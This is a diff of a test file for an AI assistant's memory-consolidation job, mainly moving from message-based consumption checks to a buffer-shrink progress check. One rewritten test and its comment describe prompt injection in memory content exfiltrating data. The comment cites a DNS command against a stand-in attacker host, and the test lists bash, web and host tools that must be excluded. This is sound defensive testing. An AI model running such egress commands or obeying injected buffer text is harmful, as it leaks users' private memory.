@vellumai/assistant 0.12.2-staging.7 → 0.12.2

package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts

@@ -11,12 +11,8 @@
  *   - Runner returns ok=false → run_failed surfaced; NO follow-up jobs;
  *     `emitNotificationSignal` was NOT called as a result of the failure
  *     (suppression is honored end-to-end).
- *   - Runtime-owned consumption: the job hands the run its pass's entries
- *     in the prompt and removes exactly those after a run that left a
- *     verified page write; entries appended during the run and entries
- *     deferred past the cap survive. A run with no verified write returns
- *     `invoked` with `noProgress: true`, leaves the buffer intact, and
- *     enqueues no follow-ups.
+ *   - Progress check: a run that leaves the buffer un-shrunk returns
+ *     `invoked` with `noProgress: true` and enqueues no follow-ups.
  *   - Follow-up coalescing: a pending job of a follow-up type suppresses
  *     that enqueue (the pending row already covers it).
  *   - Consecutive-failure state: failed runs increment the durable
@@ -29,12 +25,9 @@
  * content uses generic placeholders (Alice).
  */
 import {
-  appendFileSync,
-  chmodSync,
   existsSync,
   mkdirSync,
   mkdtempSync,
-  readFileSync,
   rmSync,
   writeFileSync,
 } from "node:fs";
@@ -50,8 +43,6 @@ import {
   test,
 } from "bun:test";
 
-import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
-
 // ── runBackgroundJob mock ───────────────────────────────────────────
 //
 // The consolidation handler delegates the bootstrap + processMessage +
@@ -61,13 +52,18 @@ import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
 // + trustContext + origin match what the consolidation surface expects.
 let runnerCalls = 0;
 let runnerLastArgs: Record<string, unknown> | null = null;
-// Default stub: a successful run. The agent never touches buffer.md; the
-// handler consumes the pass's entries itself once the run's messages carry
-// a verified page write (see the plugin-api mock below).
-const runnerSucceeds = async (): Promise<{
+// Default stub: a successful run in which the agent drained the buffer — the
+// handler's progress check compares buffer line counts before and after the
+// run, so a stub that never touched buffer.md would register every success as
+// no-progress. No-progress tests override this with an impl that leaves the
+// buffer as-is (or grows it).
+const runnerTrimsBuffer = async (): Promise<{
   conversationId: string;
   ok: boolean;
-}> => ({ conversationId: "conv-1", ok: true });
+}> => {
+  writeFileSync(bufferPath(), "");
+  return { conversationId: "conv-1", ok: true };
+};
 let runnerImpl: () => Promise<{
   conversationId: string;
   ok: boolean;
@@ -75,41 +71,7 @@ let runnerImpl: () => Promise<{
   errorKind?: string;
   failureCode?: string;
   skipReason?: string;
-}> = runnerSucceeds;
-
-// ── plugin-api mock: the run's persisted messages ──────────────────
-//
-// The consume gate reads the run conversation's messages for a page-writing
-// tool call whose result is not an error and for a closing reply as the
-// final row. `runMessages` is what that read returns; the default is one
-// successful `file_write` followed by the pass summary.
-type RunMessage = { role: string; content: unknown[] };
-const FILED_ONE_PAGE: RunMessage[] = [
-  {
-    role: "assistant",
-    content: [
-      { type: "tool_use", id: "t1", name: "file_write", input: { path: "x" } },
-    ],
-  },
-  {
-    role: "user",
-    content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
-  },
-  {
-    role: "assistant",
-    content: [{ type: "text", text: "Filed both entries into alice.md." }],
-  },
-];
-let runMessages: RunMessage[] = FILED_ONE_PAGE;
-let messagesRequestedFor: string[] = [];
-const realPluginApi = await import("@vellumai/plugin-api");
-mock.module("@vellumai/plugin-api", () => ({
-  ...realPluginApi,
-  getMessages: async (conversationId: string) => {
-    messagesRequestedFor.push(conversationId);
-    return runMessages;
-  },
-}));
+}> = runnerTrimsBuffer;
 
 mock.module("../../../../../runtime/background-job-runner.js", () => ({
   runBackgroundJob: async (opts: Record<string, unknown>) => {
@@ -235,8 +197,7 @@ const { memoryV2ConsolidateJob, CONSOLIDATION_FAILURE_CHECKPOINT_KEY } =
 const { CUTOFF_PLACEHOLDER, CONSOLIDATION_PROMPT } =
   await import("../prompts/consolidation.js");
 const { invalidatePageIndex } = await import("../page-index.js");
-const { formatBufferTimestamp, formatRememberEntry } =
-  await import("../../buffer-format.js");
+const { formatRememberEntry } = await import("../../buffer-format.js");
 
 // The handler only reads `config.memory.enabled`, `config.memory.v2.enabled`,
 // `config.memory.v2.consolidation_prompt_path`, and
@@ -309,9 +270,7 @@ beforeEach(() => {
 
   runnerCalls = 0;
   runnerLastArgs = null;
-  runnerImpl = runnerSucceeds;
-  runMessages = FILED_ONE_PAGE;
-  messagesRequestedFor = [];
+  runnerImpl = runnerTrimsBuffer;
   emitCalls.length = 0;
   enqueuedJobs.length = 0;
   nextJobIdCounter = 0;
@@ -350,21 +309,6 @@ describe("memoryV2ConsolidateJob — chunked cutoff (consolidation_max_entries_p
     expect(outcome.deferredEntries).toBe(2);
     expect(runnerCalls).toBe(1);
     expect(runnerLastArgs!.prompt as string).toContain("Apr 27, 9:03 AM");
-    // The pass is the first three entries, verbatim, and the job removed
-    // exactly them; the two deferred entries are still in the buffer.
-    const prompt = runnerLastArgs!.prompt as string;
-    expect(prompt).toContain(
-      "<buffer_entries>\n" +
-        "- [Apr 27, 9:00 AM] Alice prefers VS Code.\n" +
-        "- [Apr 27, 9:01 AM] Bob takes his coffee black.\n" +
-        "- [Apr 27, 9:02 AM] Carol loves jazz.\n" +
-        "</buffer_entries>",
-    );
-    expect(outcome.consumedEntries).toBe(3);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(
-      "- [Apr 27, 9:03 AM] Dave runs marathons.\n" +
-        "- [Apr 27, 9:04 AM] Erin paints watercolors.\n",
-    );
   });
 
   test("buffer at or under the cap → full-buffer cutoff, nothing deferred", async () => {
@@ -650,13 +594,6 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
     // Cutoff is a buffer-entry-format timestamp (`Mon D, h:mm AM/PM`) so it
     // compares like-with-like against `buffer.md` lines at minute precision.
     expect(prompt).toMatch(/\b[A-Z][a-z]{2} \d{1,2}, \d{1,2}:\d{2} (AM|PM)\b/);
-    // The pass's entries ride in the prompt itself, verbatim.
-    expect(prompt).toContain(
-      "<buffer_entries>\n" +
-        "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
-        "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
-        "</buffer_entries>",
-    );
   });
 
   test("threads page-index parse failures into the prompt's repair step", async () => {
@@ -714,16 +651,57 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
     expect(runnerLastArgs?.skipPromptIndexing).toBe(true);
   });
 
-  test("wire-scopes the run to the consolidation tool surface", async () => {
-    // The handler hands the runner the shared allowlist in the default gate
-    // mode ("wire"), so excluded tools are filtered off the wire rather than
-    // merely rejected at execution time. Which names on that list actually
-    // resolve onto the wire is asserted where the wire gate lives:
-    // daemon/__tests__/conversation-tool-setup.test.ts.
+  test("wire-scopes the run to local memory-file tools — no network egress or host tools", async () => {
+    // Security: the consolidation run is guardian-trust + non-interactive, so
+    // the permission checker auto-approves any tool within the background
+    // threshold (a public web_fetch classifies Low). The run must therefore be
+    // handed an explicit allowlist that excludes every egress/host tool, so
+    // prompt injection embedded in buffer/page content cannot exfiltrate
+    // memory over an auto-approved channel. Wire gate mode (the default) means
+    // the excluded tools are never even presented to the model.
     await memoryV2ConsolidateJob(makeJob(), CONFIG);
 
     expect(runnerCalls).toBe(1);
-    expect(runnerLastArgs?.allowedTools).toEqual(CONSOLIDATION_ALLOWED_TOOLS);
+    const allowed = runnerLastArgs?.allowedTools as string[] | undefined;
+    expect(allowed).toBeDefined();
+    const allowedSet = new Set(allowed);
+
+    // The local file-reorganization surface the pass actually uses. Page
+    // removal goes through `delete_memory_page` (slug-scoped, no egress), NOT
+    // a general shell.
+    for (const tool of [
+      "file_read",
+      "file_write",
+      "file_edit",
+      "file_list",
+      "code_search",
+      "delete_memory_page",
+      "recall",
+    ]) {
+      expect(allowedSet.has(tool)).toBe(true);
+    }
+
+    // `bash` must NOT be reachable: a shell reopens the egress channel this
+    // allowlist closes (`dig <secret>.attacker.example` classifies Low and
+    // auto-approves in this background context). Network egress + host-proxy
+    // tools stay out for the same reason.
+    for (const tool of [
+      "bash",
+      "web_fetch",
+      "web_search",
+      "network_request",
+      "host_bash",
+      "host_file_read",
+      "host_file_write",
+      "host_file_edit",
+      "host_cu",
+    ]) {
+      expect(allowedSet.has(tool)).toBe(false);
+    }
+    // Belt-and-suspenders: nothing host-prefixed slipped in.
+    expect((allowed ?? []).some((t) => t.startsWith("host_"))).toBe(false);
+    // Gate mode is left at the default ("wire") so excluded tools are filtered
+    // off the wire, not merely rejected at execution time.
     expect(runnerLastArgs?.toolGateMode).toBeUndefined();
   });
 
@@ -796,7 +774,7 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
     await memoryV2ConsolidateJob(makeJob(), CONFIG);
     expect(runnerLastArgs?.prompt as string).not.toContain("core-pages");
 
-    // The first run consumed the buffer. Refill it so the second
+    // The first run's stub drained the buffer — refill it so the second
     // invocation doesn't bail at the empty-buffer gate.
     writeFileSync(bufferPath(), "- [Apr 27, 9:10 AM] Alice refactored.\n");
     v3FlagOn = true;
@@ -849,16 +827,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
   });
 });
 
-describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
-  const TWO_ENTRIES =
-    "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
-    "- [Apr 27, 9:05 AM] Alice ships at end of day.\n";
-
+describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", () => {
   beforeEach(() => {
-    writeFileSync(bufferPath(), TWO_ENTRIES);
+    writeFileSync(
+      bufferPath(),
+      "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
+        "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
+    );
   });
 
-  test("a run with a verified page write consumes exactly the pass and enqueues follow-ups", async () => {
+  test("a drained buffer reports progress and enqueues follow-ups", async () => {
     const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
 
     expect(result.kind).toBe("invoked");
@@ -866,22 +844,16 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
       throw new Error("unreachable");
     }
     expect(result.noProgress).toBe(false);
-    expect(result.consumedEntries).toBe(2);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe("");
-    expect(messagesRequestedFor).toEqual(["conv-1"]);
     expect(result.followUpJobIds).toEqual(["job-1"]);
     expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
   });
 
-  test("an entry appended while the run is in flight is still in the buffer afterwards", async () => {
-    // The specimen: remember() lands mid-run, after the snapshot. The run
-    // never saw it, so it must not be consumed with the pass.
-    const midRun = formatRememberEntry(
-      "Bob joined the standup.",
-      new Date(2026, 3, 27, 9, 6),
-    );
+  test("a partially trimmed buffer counts as progress", async () => {
     runnerImpl = async () => {
-      appendFileSync(bufferPath(), midRun);
+      writeFileSync(
+        bufferPath(),
+        "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
+      );
       return { conversationId: "conv-1", ok: true };
     };
 
@@ -892,40 +864,14 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
       throw new Error("unreachable");
     }
     expect(result.noProgress).toBe(false);
-    expect(result.consumedEntries).toBe(2);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(midRun);
-    expect(runnerLastArgs?.prompt as string).not.toContain(
-      "Bob joined the standup.",
-    );
+    expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
   });
 
-  test("a run with no verified page write consumes nothing and reports noProgress", async () => {
-    // The run completed but its messages carry no successful page write:
-    // a prose-only reply, or writes that all errored. Consuming would
-    // delete the entries unfiled.
-    runMessages = [
-      {
-        role: "assistant",
-        content: [
-          { type: "tool_use", id: "t1", name: "file_write", input: {} },
-        ],
-      },
-      {
-        role: "user",
-        content: [
-          {
-            type: "tool_result",
-            tool_use_id: "t1",
-            is_error: true,
-            content: "EACCES",
-          },
-        ],
-      },
-      {
-        role: "assistant",
-        content: [{ type: "text", text: "Nothing to file." }],
-      },
-    ];
+  test("an unchanged buffer reports noProgress and skips all follow-ups", async () => {
+    // The runner completes ok but never touches buffer.md — the stuck-agent
+    // shape: without the progress check the size trigger would re-fire and
+    // every re-fire would fan out another reembed.
+    runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
 
     const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
 
@@ -934,148 +880,18 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
       throw new Error("unreachable");
     }
     expect(result.noProgress).toBe(true);
-    expect(result.consumedEntries).toBe(0);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
     expect(result.followUpJobIds).toEqual([]);
     expect(enqueuedJobs).toHaveLength(0);
   });
 
-  test("a run that wrote a page but stopped mid-work consumes nothing", async () => {
-    // A repair-step page fix satisfies the write half of the gate; the run
-    // then ends on a tool call with no closing reply. It never filed its
-    // pass, so the pass stays.
-    runMessages = [
-      {
-        role: "assistant",
-        content: [
-          { type: "tool_use", id: "t1", name: "file_write", input: {} },
-        ],
-      },
-      {
-        role: "user",
-        content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
-      },
-      {
-        role: "assistant",
-        content: [{ type: "tool_use", id: "t2", name: "file_read", input: {} }],
-      },
-      {
-        role: "user",
-        content: [{ type: "tool_result", tool_use_id: "t2", content: "..." }],
-      },
-    ];
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.noProgress).toBe(true);
-    expect(result.consumedEntries).toBe(0);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
-    expect(enqueuedJobs).toHaveLength(0);
-  });
-
-  test("narration on the row that called the tool does not count as concluding", async () => {
-    // The model said "fixing that page now", called file_write, and the run
-    // stopped after the result. Text on a tool-call row is not the closing
-    // reply; the pass stays.
-    runMessages = [
-      {
-        role: "assistant",
-        content: [
-          { type: "text", text: "Fixing that page now." },
-          { type: "tool_use", id: "t1", name: "file_write", input: {} },
-        ],
-      },
-      {
-        role: "user",
-        content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
-      },
-    ];
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.noProgress).toBe(true);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
-  });
-
-  test("only page-writing tools count as evidence", async () => {
-    runMessages = [
-      {
-        role: "assistant",
-        content: [
-          { type: "tool_use", id: "t1", name: "file_read", input: {} },
-          { type: "tool_use", id: "t2", name: "recall", input: {} },
-        ],
-      },
-      {
-        role: "user",
-        content: [
-          { type: "tool_result", tool_use_id: "t1", content: "..." },
-          { type: "tool_result", tool_use_id: "t2", content: "..." },
-        ],
-      },
-      {
-        role: "assistant",
-        content: [{ type: "text", text: "Read everything, filed nothing." }],
-      },
-    ];
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.noProgress).toBe(true);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
-  });
-
-  test("a failed run leaves the buffer intact for the next pass", async () => {
-    runnerImpl = async () => ({
-      conversationId: "conv-1",
-      ok: false,
-      error: new Error("timed out"),
-      errorKind: "timeout",
-    });
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("run_failed");
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
-    expect(messagesRequestedFor).toEqual([]);
-  });
-
-  test("a skipped run consumes nothing and reads no evidence", async () => {
-    runnerImpl = async () => ({
-      conversationId: "",
-      ok: true,
-      skipReason: "pre_first_user_message",
-    });
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.noProgress).toBe(true);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
-    expect(messagesRequestedFor).toEqual([]);
-  });
-
-  test("an agent that rewrote the buffer anyway still counts as progress, minus what it dropped", async () => {
-    // A customized prompt that trims the buffer itself: the pass's entries
-    // are already gone when the job goes to consume them. That is progress
-    // (the run filed them); the job warns rather than failing the run.
+  test("a grown buffer reports noProgress and skips all follow-ups", async () => {
     runnerImpl = async () => {
-      writeFileSync(bufferPath(), "");
+      writeFileSync(
+        bufferPath(),
+        "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
+          "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
+          "- [Apr 27, 9:06 AM] Bob joined the standup.\n",
+      );
       return { conversationId: "conv-1", ok: true };
     };
 
@@ -1085,135 +901,9 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
     if (result.kind !== "invoked") {
       throw new Error("unreachable");
     }
-    expect(result.noProgress).toBe(false);
-    expect(result.consumedEntries).toBe(2);
-    expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
-  });
-
-  test("a snapshot that caught an append mid-write leaves its last entry for the next pass", async () => {
-    // An append is one write ending in a newline; a snapshot without one
-    // may have caught an append in flight. The job re-reads after a short
-    // settle: the rest of the append lands in that window here, so the
-    // entry is incomplete and is not handed to the run.
-    writeFileSync(
-      bufferPath(),
-      "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
-        "- [Apr 27, 9:05 AM] Alice ships at end of",
-    );
-    setTimeout(() => appendFileSync(bufferPath(), " day.\n"), 10);
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.consumedEntries).toBe(1);
-    expect(runnerLastArgs?.prompt as string).not.toContain("Alice ships");
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(
-      "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
-    );
-  });
-
-  test("a stable buffer without a terminating newline is filed whole", async () => {
-    // A buffer last rewritten without a trailing newline (an agent's
-    // file_write under an older prompt, a hand edit) is a persisted shape
-    // that must keep working: nothing is mid-write, so after the settle
-    // re-read its last entry is complete, filed, and consumed, and the
-    // rewrite leaves the buffer newline-terminated.
-    writeFileSync(
-      bufferPath(),
-      "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
-        "- [Apr 27, 9:05 AM] Alice ships at end of day.",
-    );
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.consumedEntries).toBe(2);
-    expect(runnerLastArgs?.prompt as string).toContain(
-      "Alice ships at end of day.",
-    );
-    expect(readFileSync(bufferPath(), "utf-8")).toBe("");
-  });
-
-  test("a single unterminated entry is not deferred forever", async () => {
-    writeFileSync(bufferPath(), "- [Apr 27, 9:00 AM] Only entry, no newline");
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(result.consumedEntries).toBe(1);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe("");
-  });
-
-  test("hand-written prose before the first entry is filed with the pass", async () => {
-    writeFileSync(bufferPath(), "Some notes I typed by hand.\n" + TWO_ENTRIES);
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("invoked");
-    if (result.kind !== "invoked") {
-      throw new Error("unreachable");
-    }
-    expect(runnerLastArgs?.prompt as string).toContain(
-      "<buffer_entries>\nSome notes I typed by hand.\n- [Apr 27, 9:00 AM]",
-    );
-    expect(result.consumedEntries).toBe(3);
-    expect(readFileSync(bufferPath(), "utf-8")).toBe("");
-  });
-
-  test("a buffer whose every entry is stamped with the cutoff minute skips the run", async () => {
-    // Entries stamped in the dispatch minute are the next pass's material,
-    // so a buffer holding only those has nothing eligible: no agent run,
-    // no failure bookkeeping.
-    if (new Date().getSeconds() >= 57) {
-      await Bun.sleep(3500);
-    }
-    const now = new Date();
-    writeFileSync(
-      bufferPath(),
-      formatRememberEntry("Just saved.", now) +
-        formatRememberEntry("Also just saved.", now),
-    );
-
-    const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-    expect(result.kind).toBe("nothing_eligible");
-    if (result.kind !== "nothing_eligible") {
-      throw new Error("unreachable");
-    }
-    expect(result.cutoff).toBe(formatBufferTimestamp(now));
-    expect(runnerCalls).toBe(0);
-    expect(existsSync(lockPath())).toBe(false);
-    expect(checkpointStore.size).toBe(0);
-  });
-
-  test("a consume that fails leaves the buffer intact and reports noProgress", async () => {
-    // The consume writes a temp file beside the buffer; a directory it
-    // cannot write to makes it throw. The job must not guess at the
-    // buffer's state: no removal, no follow-ups.
-    chmodSync(memoryDir(), 0o500);
-    try {
-      const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
-
-      expect(result.kind).toBe("invoked");
-      if (result.kind !== "invoked") {
-        throw new Error("unreachable");
-      }
-      expect(result.noProgress).toBe(true);
-      expect(result.consumedEntries).toBe(0);
-      expect(enqueuedJobs).toHaveLength(0);
-    } finally {
-      chmodSync(memoryDir(), 0o700);
-    }
-    expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
+    expect(result.noProgress).toBe(true);
+    expect(result.followUpJobIds).toEqual([]);
+    expect(enqueuedJobs).toHaveLength(0);
   });
 
   test("a run that leaves dangling links reports the count and still enqueues follow-ups", async () => {
@@ -1226,6 +916,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
         join(conceptsDir, "atl-1290.md"),
         "---\nlinks:\n  - atl-1291\n---\n# ATL-1290\n",
       );
+      writeFileSync(bufferPath(), "");
       invalidatePageIndex();
       return { conversationId: "conv-1", ok: true };
     };
@@ -1256,6 +947,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
     invalidatePageIndex();
     runnerImpl = async () => {
       writeFileSync(join(conceptsDir, "atl-1291.md"), "# ATL-1291\n");
+      writeFileSync(bufferPath(), "");
       invalidatePageIndex();
       return { conversationId: "conv-1", ok: true };
     };
@@ -1286,7 +978,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
       "---\nlinks:\n  - atl-1291\n---\n# ATL-1290\n",
     );
     invalidatePageIndex();
-    runMessages = [];
+    runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
     try {
       const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
 
@@ -1327,8 +1019,8 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
     if (result.kind !== "invoked") {
       throw new Error("unreachable");
     }
-    // Dedup is not no-progress: the pass was consumed; the follow-ups are
-    // simply already covered by pending rows.
+    // Dedup is not no-progress: the run drained the buffer; the follow-ups
+    // are simply already covered by pending rows.
     expect(result.noProgress).toBe(false);
     expect(result.followUpJobIds).toEqual([]);
     expect(enqueuedJobs).toHaveLength(0);
@@ -1534,8 +1226,8 @@ describe("memoryV2ConsolidateJob — consecutive-failure state", () => {
 
   test("a completed run with no progress records a transient failure instead of clearing", async () => {
     seedFailureState(2, Date.now() - 60_000, "billing");
-    // Completes ok but wrote no page: the stuck-agent shape.
-    runMessages = [];
+    // Completes ok but never touches buffer.md — the stuck-agent shape.
+    runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
 
     const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);